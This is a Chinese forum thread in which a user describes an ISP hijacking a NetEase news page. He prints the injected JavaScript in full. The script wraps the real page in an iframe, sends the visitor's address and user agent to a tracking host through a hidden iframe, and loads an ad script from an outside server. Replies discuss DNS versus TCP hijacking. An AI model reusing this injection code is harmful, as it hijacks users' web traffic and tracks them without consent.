找回密码
 立即注册

QQ登录

只需一步,快速开始

PropellerAds
Google-Bing-Mediago-Criteo开户
⚡️按条S5代理⚡️静态⚡️独享⚡️5G广告专用虚拟卡/U充值/高返点皇家代理IP⚡️#1性价比⚡️
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
Google FB TK游戏代投⚡️E.PN 虚拟卡⚡️BINOM TRACKER 60% OFF!比Adplexity还好用的Spy工具
ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款全球虚拟卡, 支持U充值
Facebook 批量上广告尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)FB 三不限源头 - 自助下户充值转款
各种主页、账单户、BM户(优势)IPCola原生住宅IP⚡️$1.8/条双ISPFB资源,账单户,分享户,国内一手TK加白户/二解户/FB海外户/GG老户
最大欧洲Nutra网盟BA找量 FB高权重耐操个号⚡️稳定过审FB企业户海外户,授信户,TK加白户联盟收款/海外资金下发/服贸结汇
✔Taboola海外户源头广告位出租虚拟卡返佣1%,国内持牌机构 
查看: 9012|回复: 12

[闲聊] 上网奇遇记

[复制链接]

45

主题

781

广告币

1433

积分

高级会员

积分
1433
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
Binom_AdvertCN
本帖最后由 hudba 于 2015-2-3 00:56 编辑
/ H+ r, d- g, J# o* T* u! d* [
% y4 y6 T. D5 l  e上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
, `  ^# h$ N& R
4 f$ o$ S$ I* E接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}7 W6 H! q* [. ~. C) p1 ~% \
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197

( s7 j8 R2 Z' P$ `1 B: q6 C& T
! I: c* Y4 t3 f$ E3 Y顺便查下ip138:& _) F3 X5 C- M% z0 ?& D1 j. L" T

9 q3 S+ V" P# `( W8 C: d  C2 ?. u这是那段js里面的代码,好象是个半成品还没写入广告数据:
7 x' N1 R3 _( B% P
  1. function locationSearch() {- f7 U8 H4 g; x: Q9 B
  2.         var s = getMainJs();0 R! G% w# h! g. C& Z
  3.         if (s == null) {  U# E6 f  H/ J( N
  4.                 location.reload();
    % F8 u2 z, A: f- u6 U6 ^8 T  }8 `
  5.         }3 s+ Q; y* R$ ~3 O& \
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);" p# \0 _# W: i4 O! c8 d
  7. }
    ) e5 ^/ [! |$ e: l, y9 T, s

  8. 5 ?: H6 |2 V2 y8 h" V. d+ ?
  9. function getParameter(name, paraStr) {
    ) R6 m; M* ~) u0 m* z9 F5 m
  10.         var result = "";
    7 M/ B8 O. `  L, P9 w" M# a
  11.         var str = "&" + paraStr.split("?")[1];
    : }1 m, i( D9 n$ x; `' A
  12.         var paraName = "&" + name + "=";8 u9 K+ s( k. s/ w
  13.         if (str.indexOf(paraName) != -1) {
    . `" ?  p. {* {* [3 x- v+ |
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {7 j: Q* s. t; L
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    " g6 F8 E! n; [7 N
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(4 `8 j* g# f8 e# g
  17.                                         1, TmpStr.length).indexOf("&")
    - z4 N1 Z( b/ L- D1 N0 ?
  18.                                         - TmpStr.indexOf(paraName) + 1);5 [. r% n6 ]: ]9 J+ \
  19.                 } else {
    6 Y! H, n  Z% Q- G1 T( x0 U( `5 u
  20.                         result = str.substring(str.indexOf(paraName), str.length);
    9 f6 t( f  x3 a  G+ r# s
  21.                 }
    ! A" I6 W, K, }& _' `8 H' t
  22. ; W  t1 t) ]5 C; B- E; p
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    2 W4 Q* q  u6 _8 h1 l
  24.         } else {
    * N( A/ p7 f) U* E' z3 E
  25.                 result = "No such parameter";
    . G5 L3 v3 g9 n, t% m
  26.         }
    % z* L7 Y5 ~2 w# m$ M
  27.         return (result.replace("&", ""));
    7 W, J, u/ v3 |/ j
  28. }
    ( k( s% N8 \6 [3 G

  29. 8 s) F3 w/ X# I, H
  30. function getMainJs() {
    - g1 u- ?! a' t! L7 Y1 d
  31.         var scripts = document.getElementsByTagName("script");! J+ |, U% i3 h# t
  32.         var s = null;
    + V; Q4 Y- M4 l/ x; A1 l$ H# p
  33.         for (var i = 0; i < scripts.length; i++) {% }; @9 O6 V; C( X$ e
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    8 a& x2 o6 u' e- F3 G9 `& M/ j; a
  35.                         s = scripts[i];
    . M$ z4 n7 Y" B) I; O; a
  36.                         break;
    ! h5 ^5 m# q$ q$ h" B
  37.                 }
    ! H& X$ v  B& z0 X
  38.         }
    % v8 W8 c2 i0 A& {% Y% L
  39.         return s;
    1 C+ U0 c1 I( ^$ ]( B) D6 Z
  40. }
      d9 N5 ^" z" y# i& `2 l6 T- X

  41. ' _  U' a9 U) w/ ]
  42. function appendParam(oStr, aStr) {
    1 V( }% t3 s9 v! E
  43.         if (oStr.indexOf('?') > 0) {
    ! i! }; R3 v. V
  44.                 oStr = oStr + "&" + aStr;# Z) }* K' p3 [/ n: h
  45.         } else {
    $ h/ P" ?4 Q9 ]% P+ V, N- }" E
  46.                 oStr = oStr + "?" + aStr;: e, Y. Q2 L- U; S3 ~
  47.         }
    ( N: f, a, h8 T; E" r- G5 l
  48.         return oStr;
    4 d  y9 ]6 z( n5 }( J
  49. }
    ( ~4 V! r( S8 \; x; P4 e
  50. 6 a; W; ]/ P7 I1 z7 N) }2 K
  51. window.onerror = function() {
    * P, o3 o! D! X7 B
  52. };0 i  N) t$ g2 O1 z4 N& n- R: ~
  53. : p1 D9 N! G; m0 W- C0 q/ g
  54. var g_titleTime = 0;
    $ Y6 T: C& f9 G! S
  55. function setTcTitle() {
    + W/ Z- H: |2 H- q
  56.         if (undefined == document) {
    " ^8 [0 a* G" J* A+ g
  57.                 g_titleTime++;; A5 P4 c2 e/ L% i0 V1 ?+ i
  58.                 setTimeout("setTcTitle();", 1000);
    2 W. j; C2 W* [  y, k1 M; y
  59.                 return;8 \- q. m, ?1 R/ H6 j' t
  60.         }$ H5 R! g& @; T$ G3 r/ A
  61. 2 [/ V# }2 e3 V% E- K! {$ I. _4 {
  62.         var doc;
    * u7 J' O2 p4 o- w; W% F
  63.         try {
    8 f( p: P! \! U( M& k  _0 g
  64.                 if (document.all) {
    ; K4 ^4 X8 {, D% [2 Z) {: j  T
  65.                         doc = document.frames["cn"].document;
      z1 t0 Y9 l0 w- ?: P* f
  66.                 } else {
    ' k$ O8 G% s2 y# Z7 g9 p
  67.                         doc = document.getElementById("cn").contentDocument;; M& i3 o9 i- ?4 K  E9 h
  68.                 }8 [0 d& h5 P  S
  69.         } catch (ex) {1 j5 s( u; [& j" y$ v9 O# L7 g
  70.         }
    5 L7 H6 h  @+ L2 a5 `
  71. 9 d" m" F" k2 u% o! u) c+ o
  72.         if (g_titleTime < 5/ _3 \. ?8 P: }2 O+ q: @
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    + c$ u8 @" R6 [( S) F4 l2 {
  74.                 g_titleTime++;
    : E0 h" T7 E% A
  75.                 setTimeout("setTcTitle();", 1000);
    : M7 O4 k& O( G( M/ g" e+ U3 L9 d
  76.                 return;. \% X- ^5 Z# J# t% s
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    % e2 R  L5 E# `3 n& X4 a
  78.                 document.title = doc.title;
    # u7 i+ [5 b, O; Q- j+ F
  79.                 setTcAdvVisible();
    ! l  A0 F/ i9 R8 X9 E! F
  80.         }! _; m7 W2 \3 J: p2 S
  81. }7 N" i1 ?2 u8 Z" W# d
  82. 8 L; t& w1 @) m) M
  83. setTimeout("setTcTitle();", 1000);# U  ~9 [6 N5 J  m& z' ?/ m4 F
  84. ! P: q+ D/ k# S% R7 k' B8 h" C
  85. var g_isHaveVisible = false;  ?& R& J; q' J" }2 N: G- K
  86. function setTcAdvVisible() {
    + o1 Y. t5 C% k0 Q% L
  87.         if (undefined != document && undefined != document.getElementById("addiv")
      o6 {! [0 ?8 C9 V8 \. Y
  88.                         && !g_isHaveVisible) {
    5 ]& |- a+ s3 A7 d1 J$ B# e7 A
  89.                 document.getElementById("addiv").style.visibility = 'visible';
    , P( @4 b3 P) q3 i5 o4 g
  90.                 document.getElementById("addiv").style.display = 'block';# r: Z% h1 j1 Y  E8 v6 J# o# w
  91.                 g_isHaveVisible = true;" p, H3 z( j, V. Y3 j6 p7 u
  92.         }
    ! z5 i) d  i+ ]" M
  93. }# P6 Q% B0 L0 K' n  O
  94. 9 x4 W& z, N2 h( o- ?
  95. function UrlAnalyzer() {
    ) q/ o# P1 ]4 A7 J& O$ q
  96.         this.divda = "";0 I/ ], |3 W8 {3 c
  97.         this.tctype = "";+ w8 x$ S6 F7 A) S# D, T& t
  98.         this.radius = "";
    2 n" {5 m1 ]: b3 t' ~2 u& S  h5 g2 ~
  99.         this.rlu = "";
    % c9 y, W, E0 i; z: Y% d
  100. }
    / M' X$ v5 m) \2 m9 D/ M7 c
  101. . r9 I1 s% t& Y
  102. UrlAnalyzer.prototype.initParameters = function() {
    + v9 O: U% n1 W
  103.         var paraStr = locationSearch();
    8 y* G# z  R1 ]( `( V  }
  104.         this.rlu = getParameter("lruedct", paraStr);
    ' t0 }) z5 T. z8 ~" @) c0 T2 A
  105.         this.divda = getParameter("divda", paraStr);
    5 T( R, d' [( V
  106.         this.radius = getParameter("radius", paraStr);
    6 U4 W' b1 ~$ i
  107.         this.tctype = getParameter("tctype", paraStr);. d% D+ h; o* g! Y! }& T! C- o
  108.         this.address = getParameter("address", paraStr);
    " x# L+ ~% I! ^5 ~, w/ Y4 w
  109.         this.usagent = getParameter("usagent", paraStr);+ P( f' \% O$ h  G0 C4 U8 q& X
  110. }" Z# w( c, B" N4 Z

  111. ; `& C( u' t9 x1 C% t! v8 p
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {. b( b3 T" i/ [* q3 i# D# R
  113.         var doc;
    ) R' \4 W9 j) h
  114.         try {
    * i+ i2 P& d9 x  Q4 x$ ~/ V
  115.                 if (document.all) {
    " C, A, a+ Q7 x2 @  p0 b) J
  116.                         doc = document.frames["cn"].document;1 m: e* w! q" w( `
  117. 5 S( q) _) ]. U0 w7 @4 F2 U
  118.                 } else {
    6 e4 r% E* c6 ]" m  t  F. e6 N, D* Y
  119.                         doc = document.getElementById("cn").contentDocument;
    + f' P  A! r. P7 x3 b" [5 v
  120.                         // doc = document.getElementById("cn").contentWindow.document;* ]9 c( R, ~2 F  V
  121.                 }% F* f7 t; Y7 d2 z
  122.         } catch (ex) {
    " N; Q2 j/ O  ~/ @# ~9 ^( I2 E5 p
  123.         }
    ! g! {- E# F4 [' V7 a0 {
  124.         return doc;
    ' E. v/ D& U4 O7 {5 X8 b3 a$ T
  125. }
    + t; O- x; r% {6 T4 ], G
  126. ( z" p1 S* I2 j9 t
  127. UrlAnalyzer.prototype.setDomain = function() {6 W' W+ b. b' p. x7 p) J1 W. ~7 p
  128.         if (undefined != document.title && "" == document.title)
    ' \- G9 n1 t) V0 y
  129.         {, f, j+ Y# V& X: V$ v, S
  130.                 var index = document.domain.indexOf(".");8 s4 X6 B5 E. C  {
  131.                 if (undefined != index && -1 != index) {5 G# V: v% z* V3 v
  132.                         document.domain = document.domain.substring(index + 1,
    , K! w% W+ L+ o& E) a
  133.                                         document.domain.length);
    , g3 \, A: [5 ^; v) G' ]
  134.                 }
    $ u8 F4 \) |* U/ p; Z! v2 L: R  H4 |
  135.                 ! d% M3 w: y. u0 M# Y  ~& S5 \
  136.                 var doc = this.getHtmlDoc();
    * `0 |) N4 t- g; Z% p
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
    5 {$ w* B8 @; G9 V( G
  138.                         document.title = doc.title;7 k  U2 `( s& o
  139.                         setTcAdvVisible();
    3 w) @* t/ P4 _1 P  g
  140.                 }+ u. n' S- g9 x8 H; [  {4 x
  141.         }
    + F3 J9 A. T$ d; d6 y
  142. }
    " X- i; Q( k& B: v' X/ x2 ~

  143. 9 {, @! `0 s/ M' L
  144. UrlAnalyzer.prototype.iframeCallback = function() {0 C8 u9 @6 u; N' M! s1 K4 i
  145.         var doc = this.getHtmlDoc();/ c) r: R2 V8 }  ?4 R5 q% O
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {: i" Y2 H3 w3 [2 s' F0 I, X
  147.                 if (undefined != document.domain) {. }/ G' A- `. E0 F
  148. " a; f' D- v8 `$ ?0 u$ J
  149.                         var self = this;* o$ d7 e# w/ [: b! m; O
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
    . b# s! k9 J; [5 u% ?/ n. Y
  151.                         // var index = document.domain.indexOf(".");
    ; y/ k5 Q- r/ w- u. Z
  152.                         // if (undefined != index && -1 != index) {
      l1 `4 I" K0 K9 k$ [# u- B
  153.                         // document.domain = document.domain.substring(index + 1,4 k, b. |6 i4 Z* a% ~8 {. Z2 o
  154.                         // document.domain.length);! h; M# x* u! H5 u2 B' m7 D6 b4 t- y
  155.                         // }
    ' t1 `+ I/ O8 J# _
  156.                         //7 G: f* z3 {8 L1 J! P0 a7 @0 s
  157.                         // var doc = this.getHtmlDoc();
      d1 A( R( g! k" b9 {' Y$ G
  158.                         // if (undefined != doc && undefined != doc.title && "" !=
    ; B( |2 S  R8 e
  159.                         // doc.title) {/ X1 w. h- q4 @* L5 @) I7 e& ]
  160.                         // document.title = doc.title;% J) g- @* x4 i4 F* Y; @
  161.                         // setTcAdvVisible();' J& ]9 }: K  y4 \* Z- E" o) k
  162.                         // }
    - T9 o7 \% T* e9 O0 v
  163.                 }0 |' E  I, u2 A0 ^
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    * K( O9 D6 D- J, ?. i8 O9 R4 h
  165.                 document.title = doc.title;! S/ H. ^. Z" g, x7 `. u
  166.                 setTcAdvVisible();1 {9 ^2 O+ S9 c# U$ ~' R+ p5 s) W
  167.         }+ p" L" I+ z8 c8 I) _4 j% f
  168. }5 {0 |& a- V9 F

  169. 4 l3 r1 \: |7 Y: L9 u
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {  a& U) U: P8 D5 {) U4 C& _
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda. O$ ~+ T* a1 w$ w' O& F
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;3 @( H; _( h5 e; _

  173. 3 S/ B/ y# f) b2 }
  174.         var htmlStr = "<iframe src="" + staUrl% W( E- G5 ^& T7 z/ L8 b
  175.                         + "" style="display:none"></iframe>";% P7 V  p! W  A- R5 |4 f

  176. ' o( U3 e$ r5 _: ^. a, t, u* |
  177.         var advUrl = htmlStr# X& B5 L4 y7 l7 o. ?) g3 O; n
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId="2 S3 M6 n& a% C$ o8 v, ^
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";. z2 f- s$ ]  I" }) Z/ j; S
  180.         document.write(advUrl);% O( X" q$ a- r$ |1 t* v# E

  181. 8 J" _, S( e4 E" ?
  182.         var self = this;
    / ?! ~! B' z; U& K! c
  183.         var iframe = document.getElementById("cn");
    % b) [- V; _7 v( q: g' x, [$ O
  184.         if (iframe.attachEvent) {
    , S* e9 d8 ~# l- x: ~9 b
  185.                 iframe.attachEvent("onload", function() {* t( ^! ^2 Y1 u* w3 p3 o/ N- P/ C' C
  186.                         self.iframeCallback.call(self, null);9 _- _% u# l6 w: [0 j1 `9 c
  187.                 });% |* G  m# K2 J! _( c7 U
  188.         } else {
    6 w) v! F6 N) }6 A& a  C* ?
  189.                 iframe.onload = function() {
    # P$ p: |8 V0 X+ q5 M
  190.                         self.iframeCallback.call(self, null);8 m, v: E, H9 Y' I& w, C3 K- T$ l
  191.                 }# e6 r+ B; ]/ n* Y/ {
  192.         }
    " b) S" k/ H, ~
  193. }: r1 B5 S6 a9 j3 |) \  R

  194. & ~6 U; \; t8 x  G) [
  195. UrlAnalyzer.prototype.executeMain = function() {
    6 E3 D! W# S+ L4 _' r, w: }
  196.         var mainFrame = document.getElementById("cn");2 G, a% K& k( n% j4 H* A
  197.         mainFrame.contentWindow.location.href = mainFrame.src;4 h1 S5 x  h. l; s" q
  198.         this.initParameters();" w. \/ _5 U% g1 W# o& F  |
  199.         this.executeHtmlContext();
    & C; y2 \1 T% F$ y, m
  200. }* F" H! i0 z: S( a2 E2 U( u

  201. 3 o/ P) o' |- J6 m9 B8 o' \
  202. var g_analyzer = new UrlAnalyzer();
    ; K6 r1 D! X5 Z6 g8 n! P- S
  203. g_analyzer.executeMain();
      t6 B0 f! Q, @) ^0 w; O
复制代码

* S- w) e6 q3 x6 C' \8 G4 L# M/ @1 j  ~2 b
3 s; d7 O2 Y2 d0 E7 K7 H

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
相关帖子
回复

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

使用道具 举报

52

主题

458

广告币

844

积分

中级会员

积分
844
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

使用道具 举报

26

主题

348

广告币

595

积分

中级会员

积分
595
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

22

主题

1731

广告币

2029

积分

高级会员

积分
2029
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

使用道具 举报

1

主题

70

广告币

498

积分

中级会员

积分
498
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:49
; e- C3 j. Z' a2 y所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

+ E' p7 ~% X- D( @. S7 M5 a6 k# w9 }TCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:265 B  K- {* u1 Z
TCP劫持,换DNS也不管用的。
, R8 ~  ]3 U9 m
幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

使用道具 举报

12

主题

915

广告币

1212

积分

高级会员

积分
1212

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2026-10-4 05:42 , Processed in 0.084831 second(s), 30 queries , Gzip On.

Copyright © 2001-2026, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表